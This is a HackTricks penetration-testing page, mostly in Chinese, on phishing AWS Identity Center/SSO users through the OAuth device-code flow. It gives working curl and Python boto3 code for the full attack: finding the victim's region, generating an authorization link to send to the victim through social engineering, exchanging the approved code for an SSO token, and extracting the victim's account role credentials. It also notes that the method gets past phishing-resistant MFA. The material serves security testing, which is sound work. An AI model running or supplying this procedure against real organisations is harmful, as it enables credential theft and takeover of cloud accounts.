AWS - Identity Center & SSO Unauthenticated Enum

支持 HackTricks

AWS Device Code Phishing

最初在 这篇博客文章 中提出,可以向使用 AWS SSO 的用户发送一个链接,如果用户接受,攻击者将能够获得一个令牌来冒充用户并访问用户在Identity Center中能够访问的所有角色。

为了执行此攻击,要求如下:

  • 受害者需要使用 Identity Center

  • 攻击者必须知道受害者使用的子域名 <victimsub>.awsapps.com/start

仅凭上述信息,攻击者将能够向用户发送一个链接,如果接受,将授予攻击者对 AWS 用户账户的访问权限。

攻击

  1. 查找子域名

攻击者的第一步是找出受害公司在其 Identity Center 中使用的子域名。这可以通过 OSINT猜测 + BF 完成,因为大多数公司会在此处使用其名称或其名称的变体。

有了这些信息,就可以获取 Identity Center 配置的区域:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 生成链接并发送给受害者

运行以下代码生成一个AWS SSO登录链接,以便受害者进行身份验证。 在演示中,在python控制台中运行此代码,并且不要退出,因为稍后您将需要一些对象来获取令牌:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Send the generated link to the victim using you awesome social engineering skills!

  1. 等待受害者接受邀请

如果受害者已经登录了AWS,他只需要接受授权权限,如果没有登录,他需要先登录然后接受授权权限。 这是当前的提示界面:

  1. 获取SSO访问令牌

如果受害者接受了提示,运行以下代码生成一个冒充用户的SSO令牌

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO 访问令牌 有效期为 8小时

  1. 冒充用户

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

钓鱼不可钓的 MFA

有趣的是,之前的攻击即使使用“不可钓的 MFA”(webAuth)也能奏效。这是因为之前的工作流程从未离开使用的 OAuth 域。不像其他钓鱼攻击需要用户替换登录域,在这种情况下,设备代码工作流程是准备好的,因此设备知道一个代码,用户即使在不同的机器上也能登录。如果接受提示,设备只需知道初始代码,就能够检索用户的凭证

更多信息请查看这篇文章

自动化工具

参考资料

支持 HackTricks

Last updated